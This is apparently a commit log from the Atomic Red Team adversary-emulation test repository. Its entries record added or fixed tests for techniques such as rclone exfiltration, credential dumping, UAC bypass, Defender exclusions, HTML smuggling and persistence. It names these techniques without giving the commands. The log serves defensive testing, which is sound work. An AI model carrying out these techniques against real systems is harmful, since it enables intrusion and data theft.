Bhavin Patel 1c43660731 Merge branch 'master' into dockerdeploy 2023-01-09 11:18:41 -08:00
Atomic Red Team doc generator 7ef99becc1 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-06 16:51:39 +00:00
Atomic Red Team GUID generator 5f999af5ae Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-06 16:51:32 +00:00
Carrie Roberts b1124e01ae WLL, XLL and VBA Addin Atomics (#2268)
* new atomics

* cleanup stuff

* added prereq

* adding source code

* fix typo

* note testing of office versions

* remove copying file
2023-01-06 09:51:02 -07:00
Atomic Red Team doc generator 933ed73f43 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-05 22:01:14 +00:00
Bhavin Patel f80e681ef3 Merge pull request #2252 from packetzero/patch-3
T1497.001 linux detect Virtualization - run both cmds
2023-01-05 14:00:34 -08:00
aman143kri c0769f5783 Rename atomics/T1610/Src/dockerfile to atomics/T1610/src/dockerfile 2023-01-06 03:14:43 +05:30
Bhavin Patel 78dd709e50 Merge branch 'master' into patch-3 2023-01-05 12:27:19 -08:00
Atomic Red Team doc generator c91b9c49a6 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-05 20:15:55 +00:00
Bhavin Patel f82a189443 Update T1610.yaml
remove guid
2023-01-05 12:15:47 -08:00
Atomic Red Team GUID generator 06001ce6a0 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-05 20:15:47 +00:00
Bhavin Patel 095b56cdaa Merge pull request #2254 from aman143kri/featureaddition
Added docker testcase for docker exec in T1609.yaml
2023-01-05 12:14:59 -08:00
Bhavin Patel 6e09a8d6b7 Merge branch 'master' into featureaddition 2023-01-05 12:14:21 -08:00
Atomic Red Team doc generator fb6aba6a73 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-05 19:25:21 +00:00
packetzero 32c65b84f2 cleanup 1110.001 4 SUDO brute debian (#2253)
* cleanup 1110.001 4 SUDO brute debian

* Add echo to have success exit status

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-01-05 12:24:48 -07:00
Atomic Red Team doc generator 808ac9832d Generated docs from job=generate-docs branch=master [ci skip] 2023-01-05 18:17:13 +00:00
Atomic Red Team GUID generator 34a89d53e3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-05 18:17:07 +00:00
packetzero 1a81100d17 Clean up T1546.005 linux TRAP (#2251)
Cleans up a few things:
 - rather than modifying current shell, launches new one with -c argument.  This makes it easy to test EXIT trap.
 - previous was doing `nohup sh echo-art-fish.sh | bash` in trap. no need for the pipe to bash now.
 - I separated the EXIT and SIGINT traps. otherwise, it's not possible to tell which trap(s) executed.
 - The previous SIGINT case required user to hit CTRL+C.  now it's automated using signal
 - added cleanup. 
Tested on macOS BigSur and Ubuntu 20.04

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-01-05 11:16:34 -07:00
Atomic Red Team doc generator fc5e51dbb3 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-05 18:15:22 +00:00
packetzero 3f4996c8ff T1082 list linux kernel modules - remove sudo (#2234)
* T1082 list linux kernel modules - remove sudo

Fix for #2233.  Remove unnecessary  `sudo` from T1082 "Linux list kernel modules" commands.  Add another mechanism to `cat /proc/modules`.

* change to grep proc modules

A little more interesting to grep the /proc/modules file rather than cat.

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-01-05 11:14:50 -07:00
Atomic Red Team doc generator 2b239f16b3 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-05 15:03:11 +00:00
Atomic Red Team GUID generator edace96a04 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-05 15:03:03 +00:00
Matt Graeber 2158af8265 Merge pull request #2267 from tvjust/t1114.003
Created email forwarding T1114.003
2023-01-05 10:02:32 -05:00
Justin Schoenfeld da583c45ff change forwarding domain 2023-01-05 10:01:19 -05:00
Justin Schoenfeld b1fc7ca9fe Update T1114.003.yaml 2023-01-05 09:44:00 -05:00
Justin Schoenfeld 52bf96f197 Implement option email forwarding address 2023-01-05 09:43:34 -05:00
aman143kri 11ccc35807 Removed auto_generated_guid
This was creating an error, hence removed
2023-01-05 08:33:06 +05:30
aman143kri 8ba658e520 Update T1610.yaml 2023-01-05 08:29:02 +05:30
Bhavin Patel d64905e2af Merge branch 'master' into featureaddition 2023-01-04 18:19:07 -08:00
Justin Schoenfeld 174ff319bb Update T1114.003.yaml 2023-01-04 16:46:20 -05:00
Justin Schoenfeld c09c0afbd9 Update T1114.003.yaml 2023-01-04 16:44:01 -05:00
Justin Schoenfeld 95a9c36019 Update T1114.003.yaml 2023-01-04 16:36:17 -05:00
Justin Schoenfeld ef832dc7aa Create T1114.003.yaml 2023-01-04 16:25:29 -05:00
Atomic Red Team doc generator eeefbccf77 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-04 03:26:19 +00:00
Carrie Roberts 0ce94db3b3 bump nav version (#2261) 2023-01-03 22:25:44 -05:00
Atomic Red Team doc generator 703af1c830 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-04 03:24:07 +00:00
çidem b0b413cc9d T1105 :: Correct remote_url, Change del to rm (#2265) 2023-01-03 22:23:39 -05:00
Atomic Red Team doc generator c2aca27df1 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-04 03:19:27 +00:00
Atomic Red Team GUID generator b5dde3c8f2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-01-04 03:19:21 +00:00
Michael Haag 6db82cba9c T1505.004 - IIS Components & T1562.002 - Disable HTTP logging (#2266) 2023-01-03 22:18:53 -05:00
Atomic Red Team doc generator 9627003081 Generated docs from job=generate-docs branch=master [ci skip] 2023-01-03 13:36:41 +00:00
Carrie Roberts fd7772813a corrected code so it will execute (#2263)
* corrected code so it will execute

* elevation not needed

* update description
2023-01-03 06:36:03 -07:00
Atomic Red Team doc generator 9a6e0425ff Generated docs from job=generate-docs branch=master [ci skip] 2022-12-30 16:02:40 +00:00
Atomic Red Team GUID generator 8036dec1c4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-12-30 16:02:34 +00:00
devapriya16 4a4fd153d8 Update T1112.yaml (#2262)
Enabling Restricted Admin Mode via Command_Prompt, enables an attacker to perform a pass-the-hash attack using RDP

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-12-30 11:02:04 -05:00
Atomic Red Team doc generator 08579bb5be Generated docs from job=generate-docs branch=master [ci skip] 2022-12-30 00:42:18 +00:00
Carrie Roberts 0dab0ee7e9 block regedit and cmd.exe (#2260) 2022-12-29 17:41:33 -07:00
aman143kri 8ecc8d8e62 Update T1610.yaml
Changed the name for the atomic test case,  Added references to the description & Changed the path as recommended
2022-12-24 14:56:22 +05:30
aman143kri 6ac70b7b6d Made changes as per the comment
Changed the name for the atomic test case,  Added references to the description & Changed the path as recommended
2022-12-24 14:54:58 +05:30
Atomic Red Team doc generator 25acadc0b4 Generated docs from job=generate-docs branch=master [ci skip] 2022-12-20 16:01:17 +00:00
Noy-s1 5c710cc04e Fixed Automated Collection Command Prompt variable call (#2259)
* Fixed Automated Collection Command Prompt variable call

While using the commands from a batch file the old code wont work because of the way the variable is being called.
The addition of '%' fixed the issue.

* Update T1119.yaml

* add slash

* Update T1564.004.yaml

* Update T1564.004.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-12-20 11:00:42 -05:00
Atomic Red Team doc generator 84d9edaaaa Generated docs from job=generate-docs branch=master [ci skip] 2022-12-17 15:46:08 +00:00
Atomic Red Team GUID generator 6564ab464e Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-12-17 15:46:01 +00:00
Michael Haag 9c34bcb1a8 Create T1562.yaml (#2258)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-12-17 10:45:29 -05:00
Atomic Red Team doc generator 2fadd2287c Generated docs from job=generate-docs branch=master [ci skip] 2022-12-16 21:55:22 +00:00
Carrie Roberts c17eeb2b66 move reference to description (#2257) 2022-12-16 16:54:51 -05:00
Atomic Red Team doc generator 13e23151c8 Generated docs from job=generate-docs branch=master [ci skip] 2022-12-16 20:27:20 +00:00
Atomic Red Team GUID generator 204c86694e Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-12-16 20:27:13 +00:00
sai prashanth pulisetti 7fd3529b28 Update for name: Abuse Nslookup with DNS Records (#2248)
* Update for name: Abuse Nslookup with DNS Records

* custom nslookup function

* fix spacing

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-12-16 15:26:42 -05:00
aman143kri 12f2a903a8 Removed auto_generated_guid 2022-12-16 10:49:19 +05:30
aman143kri f4338f3e0d Added Deploying a docker
Fairly straight forward to deploy a container.

Details:
There was no test case for deploying a container in the atomic-red team and I was working with atomic red team so thought to create a pr for this feature

Testing:
Tested using ubuntu as the base image. It creates an image and runs that image to check that image is deployed properly.

It may take up to a couple of minutes to run due to image creation. If it hangs for longer than a minute, something went wrong.

Associated Issues:
None
2022-12-15 20:08:54 -08:00
aman143kri d13230ced8 Added docker testcase for T1609.yaml
Fairly straight forward way to execute into a container.

Details:
The test was created for kubernetes and mitre framework also mentioned about docker. So created a second test for the same.

Testing:
Tested using ubuntuas the base image. If using just Docker, run the container(already present in the script) and execute the testcase.

It may take up to a minute to run due to image creation. If it hangs for longer than a minute, something went wrong.

Associated Issues:
None
2022-12-15 19:57:12 -08:00
packetzero fd2c5239c1 T1497.001 linux detect Virtualization - run both cmds 2022-12-15 17:30:43 -06:00
Atomic Red Team doc generator b86d24fd99 Generated docs from job=generate-docs branch=master [ci skip] 2022-12-14 23:10:06 +00:00
Atomic Red Team GUID generator 51c59e06d3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-12-14 23:09:58 +00:00
Mohana Shankar D 54cc912687 Remote System Discovery - net group Domain Controller (#2249)
* Remote System Discovery - net group Domain Controller

Identify remote systems with net.exe querying the Active Directory Domain Controller. Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout.

* Update T1018.yaml

* Update T1018.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-12-14 18:09:24 -05:00
Atomic Red Team doc generator c17e4303bc Generated docs from job=generate-docs branch=master [ci skip] 2022-12-14 22:50:55 +00:00
Bhavin Patel 939774541e Merge pull request #2243 from redcanaryco/clr2of8-patch-29
correct name
2022-12-14 14:50:22 -08:00
Michael Haag 17a66b018f Merge branch 'master' into clr2of8-patch-29 2022-12-14 13:42:35 -07:00
Atomic Red Team doc generator 324b2a7401 Generated docs from job=generate-docs branch=master [ci skip] 2022-12-14 20:41:48 +00:00
Michael Haag 09043e625c Merge branch 'master' into clr2of8-patch-29 2022-12-14 13:41:37 -07:00
Carrie Roberts 14271bcbc5 removing duplicate test (#2239)
* removing duplicate test

* add elevation required

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-12-14 13:41:20 -07:00
Atomic Red Team doc generator 45741c6c95 Generated docs from job=generate-docs branch=master [ci skip] 2022-12-14 20:35:27 +00:00
Carrie Roberts 684a637c1a fix typo, user temp directory (#2238)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-12-14 13:34:57 -07:00
Jonathan Yee 9d2f6e05c9 Update T1567.002.yaml (#2245)
Removed tab from file which was causing parsing to break
2022-12-14 07:33:55 -07:00
Atomic Red Team doc generator 5c1e6f1b4f Generated docs from job=generate-docs branch=master [ci skip] 2022-12-07 01:40:37 +00:00
Brian c6368a624d Updating ATT&CK and Navigator (#2244)
This should update the Navigator layers from ATT&CK 11 to 12 and from Navigator 4.5.5 to 4.7.1
2022-12-06 18:39:57 -07:00
Carrie Roberts 063610ad8e correct name 2022-12-03 18:37:00 -05:00
Atomic Red Team doc generator ce55c6dfb1 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-29 00:09:43 +00:00
Atomic Red Team GUID generator 747a28a689 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-29 00:09:36 +00:00
tr4cefl0w d4721d481c adding credman gump using keymgr.dll (#2242)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-11-28 19:09:04 -05:00
Atomic Red Team doc generator c65c1656a4 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-29 00:06:26 +00:00
Atomic Red Team GUID generator 4fbdacf673 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-29 00:06:19 +00:00
BlueTeamOps 414118431e Tests to simulate misuse of secedit.exe (#2241)
* secedit config template

* added secedit based persistence

* added secedit based discovery
2022-11-28 19:05:09 -05:00
Atomic Red Team doc generator 1e6c1c70fd Generated docs from job=generate-docs branch=master [ci skip] 2022-11-24 14:10:04 +00:00
çidem 18baf6d730 T1560.002 :: Fix typo for gzip (#2240) 2022-11-24 09:09:26 -05:00
Atomic Red Team doc generator bfbb8be4e3 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-21 20:42:04 +00:00
Atomic Red Team GUID generator d1343687d4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-21 20:41:57 +00:00
tr4cefl0w 17b80161a4 adding atomic test T1055.003 (#2237)
* adding atomic test T1055.003

* adding atomic test T1055.003
2022-11-21 13:41:23 -07:00
Atomic Red Team doc generator 9837b4fcd1 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-21 14:43:35 +00:00
0xv1n ee62e616b9 T1482 additional techniques (#2236)
* Updated T1482.md

Additional trust enumeration techniques.

* Update T1482.yaml

Additional trust enumeration techniques.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-11-21 07:42:51 -07:00
Atomic Red Team doc generator 6a621382ba Generated docs from job=generate-docs branch=master [ci skip] 2022-11-18 16:23:19 +00:00
GirvinRC 3c6c880503 Merge pull request #2231 from cnotin/pr-aad-federation-aadinternals
Use AADInternals for AAD federation attack
2022-11-18 11:22:43 -05:00
Atomic Red Team doc generator fdb6cdb7c6 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-18 16:21:18 +00:00
Atomic Red Team GUID generator 696f2c1d72 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-18 16:21:12 +00:00
GirvinRC cd39269366 Merge pull request #2213 from packetzero/am_t1040_linux_pcap
Add Linux T1040 Packet Capture using raw sockets and filtering
2022-11-18 11:20:45 -05:00
Atomic Red Team doc generator d8afb1fb8d Generated docs from job=generate-docs branch=master [ci skip] 2022-11-17 22:09:05 +00:00
Clément Notin 89126e68cd Fix bug where the search returns multiple objects by selecting only the first (#2235)
The issue was that "Get-AzureADServicePrincipal" and "Get-AzureADApplication" may return several results matching the provided name which is not handled properly by the code which will crash. The solution is to select only the first object.

I took the opportunity for a couple minor improvements in the code of those two tests.
2022-11-17 17:08:24 -05:00
Atomic Red Team doc generator 54f7393181 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-15 23:53:18 +00:00
Atomic Red Team GUID generator f5526d45fd Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-15 23:53:11 +00:00
Michael Haag 2d6d00c01c Update T1548.002.yaml - WSReset UAC Bypass (#2232)
* Update T1548.002.yaml

* removed elevation requirement
2022-11-15 18:52:41 -05:00
Clément Notin 01eb60eaf8 Use AADInternals for AAD federation attack
Azure AD has two kinds of federated domains. The one that can be used to authenticate on AAD, as an AAD user, and the one that can be used to authenticate as a guest user (also called external identity).

The current implementation of the attack seems to work but actually it uses the cmdlets to create a federated domain for external identities which is not the thing we want to showcase this ATT&CK technique. Since such a federated domain does not allow to authenticate as an AAD user.
Sorry for missing this when I supervised the initial work on this ART test.

Newest method uses AADInternals which is a popular attack framework for AAD and which offers exactly the cmdlet we need.
2022-11-15 17:35:31 +01:00
Atomic Red Team doc generator 9175d8dc59 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-15 16:01:55 +00:00
Atomic Red Team GUID generator a0c3f39325 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-15 16:01:47 +00:00
codec-hasqui 0440c69f3b T1567.002.yaml creation with new rclone to Mega exfil test (#2228)
* Create T1567.002.yaml

* Add files via upload

* Delete T1567.002.yaml

* Update T1567.002.yml

* Update T1567.002.yml

* Update T1567.002.yml

* Create T1567.002.yaml

* Delete T1567.002.yml

* Update T1567.002.yaml

* Update T1567.002.yaml

* update display name

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-11-15 11:01:20 -05:00
Atomic Red Team doc generator 6024dac957 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-15 15:56:55 +00:00
Carrie Roberts cecca22f67 HiveNightmare simplifications (#2230)
* HiveNightmare simplifications

* Update T1003.002.yaml

* Update T1003.002.yaml

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-11-15 08:56:24 -07:00
Atomic Red Team doc generator feca620bc4 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-15 15:48:37 +00:00
Jacques Decarie 291ff6f4c6 updating T1021.006-2 (#2229) 2022-11-15 10:47:54 -05:00
Alex Malone 58a9e7fb08 attempt to fix merge conflict 2022-11-10 13:15:26 -06:00
Atomic Red Team doc generator fb7b147eac Generated docs from job=generate-docs branch=master [ci skip] 2022-11-10 17:01:07 +00:00
Carrie Roberts ebe511a738 small title correction (#2226) 2022-11-10 12:00:37 -05:00
Atomic Red Team doc generator 2a798d98d1 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-10 16:59:20 +00:00
Carrie Roberts 956a699a65 expand description (#2227)
* expand description

* add cve number and link
2022-11-10 11:58:47 -05:00
Hare Sudhan 1083e1ddbe Merge branch 'master' into tf 2022-11-10 10:11:10 -05:00
Hare Sudhan 3000742f7d reorg terraform files 2022-11-10 10:10:17 -05:00
Atomic Red Team doc generator 6d0287a984 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-09 16:35:35 +00:00
Atomic Red Team GUID generator 0342b04584 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-09 16:35:29 +00:00
Jose Enrique Hernandez c9ccfd64a3 Merge pull request #2220 from packetzero/am_t1547007_reopen_coded
Add two MacOS T1547.007 loginwindow reopen tests
2022-11-09 11:35:01 -05:00
Jose Enrique Hernandez 5e0b77ff35 Merge branch 'master' into am_t1547007_reopen_coded 2022-11-09 11:34:18 -05:00
Jose Enrique Hernandez b567130807 Merge branch 'master' into am_t1547007_reopen_coded 2022-11-09 11:34:11 -05:00
Atomic Red Team doc generator c72cc5c3aa Generated docs from job=generate-docs branch=master [ci skip] 2022-11-09 16:34:10 +00:00
Atomic Red Team GUID generator 1f1800a730 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-09 16:34:04 +00:00
Jose Enrique Hernandez 3fec85b734 Merge branch 'master' into am_t1547007_reopen_coded 2022-11-09 11:33:52 -05:00
Jose Enrique Hernandez 5cdfa5a9a6 Merge pull request #2217 from packetzero/am_t1547006_kextload
Add T1547.006 kernel module load and unload tests for MacOS
2022-11-09 11:33:40 -05:00
Jose Enrique Hernandez 89aa57c332 Merge branch 'master' into am_t1547006_kextload 2022-11-09 11:33:03 -05:00
Atomic Red Team doc generator 2b62e8a3c0 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-09 16:29:21 +00:00
Atomic Red Team GUID generator 9f65cb32e3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-09 16:29:15 +00:00
Jose Enrique Hernandez 352136941c Merge pull request #2212 from packetzero/am_t1040_macos_pcap
Add two T1040 packet capture tests for macos using /dev/bpf
2022-11-09 11:28:43 -05:00
Jose Enrique Hernandez db1b815881 Merge branch 'master' into am_t1040_macos_pcap 2022-11-09 11:27:07 -05:00
Atomic Red Team doc generator c55f3ecce0 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-07 21:25:36 +00:00
Carrie Roberts ee954d215c mv 2 1547 tests to 1546 (#2223) 2022-11-07 14:25:09 -07:00
Atomic Red Team doc generator 55d2311eeb Generated docs from job=generate-docs branch=master [ci skip] 2022-11-07 21:21:50 +00:00
Atomic Red Team GUID generator 09ad06700a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-07 21:21:43 +00:00
BlueTeamOps 83ca10639b Update T1003 (#2225)
* Added AppCmd list command

AppCmd list command can be used to retrieve IIS service account credentials.

* Update - Test name update and a new test

Updated the test name of 6c7a4fd3-5b0b-4b30-a93e-39411b25d889
Added a new test to simulate /config command for AppCmd
2022-11-07 14:21:05 -07:00
Atomic Red Team doc generator 17b4c931b6 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-07 14:39:00 +00:00
Atomic Red Team GUID generator c03fb24928 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-07 14:38:54 +00:00
BlueTeamOps ae01b90e1f Added AppCmd list command (#2224)
AppCmd list command can be used to retrieve IIS service account credentials.
2022-11-07 07:38:16 -07:00
packetzero f6004e7d91 fix prerequisite checks 2022-11-04 16:56:11 -05:00
packetzero 576d92a4dc fix prerequisite check for compile step 2022-11-04 16:46:04 -05:00
Alex M 3c28d6cb5d make Invoke happy with prereq check, remove comments in executor script 2022-11-04 16:41:57 -05:00
Jose Enrique Hernandez 7678b665a0 Merge branch 'master' into am_t1547007_reopen_coded 2022-11-04 16:35:56 -04:00
Jose Enrique Hernandez 11d4b8086d Merge branch 'master' into am_t1040_macos_pcap 2022-11-04 16:06:31 -04:00
Atomic Red Team doc generator dc947ea3ae Generated docs from job=generate-docs branch=master [ci skip] 2022-11-04 19:38:42 +00:00
Atomic Red Team GUID generator b4ce61ac45 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-04 19:38:35 +00:00
Jose Enrique Hernandez d5b7ecb116 Merge pull request #2211 from packetzero/am_t1547_015_loginitem
Add macOS T1547.015 add/remove LoginItem via AppleScript
2022-11-04 15:38:08 -04:00
Jose Enrique Hernandez aaca4c60e6 Merge branch 'master' into am_t1547_015_loginitem 2022-11-04 15:37:22 -04:00
Jose Enrique Hernandez 6952b2c284 Merge branch 'master' into am_t1040_linux_pcap 2022-11-04 13:25:03 -04:00
Atomic Red Team doc generator 721e184423 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-04 17:04:14 +00:00
Jose Enrique Hernandez 3a0d280883 Merge pull request #2195 from jmac774/patch-2
Fix T1546.004 for remote execution on Linux
2022-11-04 13:03:41 -04:00
Jose Enrique Hernandez 4921b5f679 Merge branch 'master' into patch-2 2022-11-04 13:00:59 -04:00
Atomic Red Team doc generator f1fe367fc7 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-03 20:06:21 +00:00
Atomic Red Team GUID generator 422ab1751f Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-03 20:06:15 +00:00
Thomas de Brelaz 96b45ecbbf Added missing test for T1547.014 Active Setup, 3 tests created (#2219)
* Added missing test for T1547.014 Active Setup, 3 tests created

 Committer: Thomas De Brelaz <thockoro@hotmail.com>

* some format changes and simplications

* Update T1547.014.yaml

Co-authored-by: Thomas De Brelaz <thomas.de-brelaz@ubisoft.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-11-03 15:05:44 -05:00
Atomic Red Team doc generator 5f084fc1e1 Generated docs from job=generate-docs branch=master [ci skip] 2022-11-03 18:45:42 +00:00
DerKi ae1493e46e Update T1560.001.yaml (#2221)
The name for "Compress Data and lock with password for Exfiltration with winzip" of T1560.001.yaml
Invoke-WebRequestVerifyHash function has not import
2022-11-03 13:45:03 -05:00
Atomic Red Team doc generator a052ee3bca Generated docs from job=generate-docs branch=master [ci skip] 2022-11-02 17:55:09 +00:00
Atomic Red Team GUID generator 71b8056ed2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-02 17:55:02 +00:00
Carrie Roberts 8300ec7632 Create Symbolic Link From osk.exe to cmd.exe (#2218)
* Create Symbolic Link From osk.exe to cmd.exe

* Update T1546.008.yaml
2022-11-02 11:54:33 -06:00
Alex M 5f0930eb26 Remove dup guid 2022-11-01 15:05:45 -05:00
Alex M b229230a6c Add two T1547.007 loginwindow reopen tests 2022-11-01 14:46:20 -05:00
Jose Enrique Hernandez cc704d65bd Merge branch 'master' into patch-2 2022-11-01 11:37:46 -04:00
Atomic Red Team doc generator 31d9ef273e Generated docs from job=generate-docs branch=master [ci skip] 2022-11-01 15:25:54 +00:00
Atomic Red Team GUID generator dde1c39789 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-11-01 15:25:47 +00:00
BlueTeamOps 5da061570e Added CommandProcessor Autorun (#2214)
* Added CommandProcessor Autorun

* add an hcku version as well

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-11-01 10:25:17 -05:00
Atomic Red Team doc generator 2bdf7058a5 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-31 18:59:04 +00:00
Atomic Red Team GUID generator 72a67e2dc8 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-31 18:58:56 +00:00
BlueTeamOps a69e08e6ae Updated T1048.003 to include Rclone (#2202)
* Updated T1048.003 to include Rclone 

Added the use of Rclone to exfiltrate data to an external FTP server.

* Updated the test as discussed.

* Fixed the typo

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-31 13:58:24 -05:00
Atomic Red Team doc generator 8c427d03ea Generated docs from job=generate-docs branch=master [ci skip] 2022-10-31 18:55:22 +00:00
Atomic Red Team GUID generator 535c5be594 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-31 18:55:16 +00:00
Paul f5e9554b1a Update T1562.001.yaml (#2216)
Add Atomic to leverage WMI to exclude a folder within Defender.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-31 13:54:50 -05:00
Atomic Red Team doc generator 43d82f25da Generated docs from job=generate-docs branch=master [ci skip] 2022-10-31 18:42:04 +00:00
Carrie Roberts 2589ca7d6f fix missing input arg (#2210) 2022-10-31 13:41:32 -05:00
Alex M 3e33f6c7c2 add missing prereq 2022-10-31 13:26:35 -05:00
Alex M 721db0d11e Add T1547.006 kernel module load and unload tests for MacOS 2022-10-31 12:16:16 -05:00
Atomic Red Team doc generator 40cb9df131 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-31 14:02:32 +00:00
Atomic Red Team GUID generator cd6e3d15ae Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-31 14:02:26 +00:00
Paul aaf8223501 t1027-006-html-smuggling (#2215)
Add Atomic for HTML smuggling
2022-10-31 08:01:55 -06:00
Alex M 44826521e6 rename existing linux capture test 2022-10-30 20:31:35 -05:00
Alex M d9f46753de linux pcap : Add BPF filter and clang-format 2022-10-30 20:27:36 -05:00
Alex M 56a896d90b Add some Linux T1040 packet capture tests using raw sockets 2022-10-30 19:01:59 -05:00
Alex M d2f15451b4 Add two T1040 packet capture tests for macos using /dev/bpf 2022-10-30 18:19:46 -05:00
Alex M 2b06c09045 Add note in description about backgrounditems.btm file 2022-10-30 16:00:54 -05:00
Alex M 04506ef79b update description 2022-10-30 15:49:21 -05:00
Alex M 0fcbe1d052 Add T1547.015 test to add login item via applescript 2022-10-30 15:47:06 -05:00
Hare Sudhan b023b9f42a Merge branch 'master' into tf 2022-10-29 15:02:45 -04:00
Atomic Red Team doc generator 6f0df94b1d Generated docs from job=generate-docs branch=master [ci skip] 2022-10-28 17:46:40 +00:00
DerKi a317977c6b Update T1056.001.yaml (#2208)
* Update T1056.001.yaml

fix bug: "Input Capture" of T1056.001 not download poweshel script

* update url

I updated the URL to point to the "raw" ps1 file instead of the html page showing the preview. Also removed the input arg for the PS1 since the attack commands call the script directly and don't use the input argument. Also, not likely that users will need to modify that input arg so leaving it out for clarity. Chose to give the full path to the ps1 script in the attack commands instead of changing directories first.

* Update T1056.001.yaml

* Update T1056.001.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-10-28 12:46:13 -05:00
Atomic Red Team doc generator 69ff63cbeb Generated docs from job=generate-docs branch=master [ci skip] 2022-10-28 17:03:36 +00:00
DerKi 0d4be0fcdc Update T1070.003.yaml (#2209)
In this command "Set-PSReadLineOption -HistorySaveStyle SaveIncrementally",The "–" correct is "-"
2022-10-28 12:02:59 -05:00
Jose Enrique Hernandez cf5f597ed8 Merge branch 'master' into tf 2022-10-28 10:32:12 -04:00
Atomic Red Team doc generator c434c577af Generated docs from job=generate-docs branch=master [ci skip] 2022-10-27 20:35:40 +00:00
Carrie Roberts 4fffd2bd92 add dependency executor since it is different than attack cmds (#2203)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-10-27 14:35:07 -06:00
Atomic Red Team doc generator fd90991054 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-27 20:17:13 +00:00
Atomic Red Team GUID generator d3f49a0913 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-10-27 20:17:07 +00:00
Carrie Roberts 066d82351c New AutoDial DLL persistence atomic (#2207)
* New AutoDial DLL persistence atomic

* Update T1546.yaml
2022-10-27 14:16:38 -06:00
Atomic Red Team doc generator a3f9a79d63 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-27 17:12:15 +00:00
Paul 74a13a8b92 Merge pull request #2206 from redcanaryco/isofix
Update T1553.005 - Runs lnk now
2022-10-27 10:11:38 -07:00
Michael Haag 93c92d10b2 Update T1553.005 - Runs lnk now 2022-10-27 11:03:58 -06:00
Hare Sudhan fb016d2185 adding ad module installation 2022-10-26 22:14:40 -04:00
Hare Sudhan 4a1b998747 modifying terraform commands to manual run 2022-10-26 22:12:37 -04:00
Hare Sudhan 72353f72f2 Merge branch 'master' into tf 2022-10-26 16:02:12 -04:00
Atomic Red Team doc generator e149cf9df2 Generated docs from job=generate-docs branch=master [ci skip] 2022-10-26 15:13:43 +00:00
Mohana Shankar D dba79489fb Incomplete Process Termination Process (#2205)
The Notepad process was not terminating after the command execution
Line Added: 
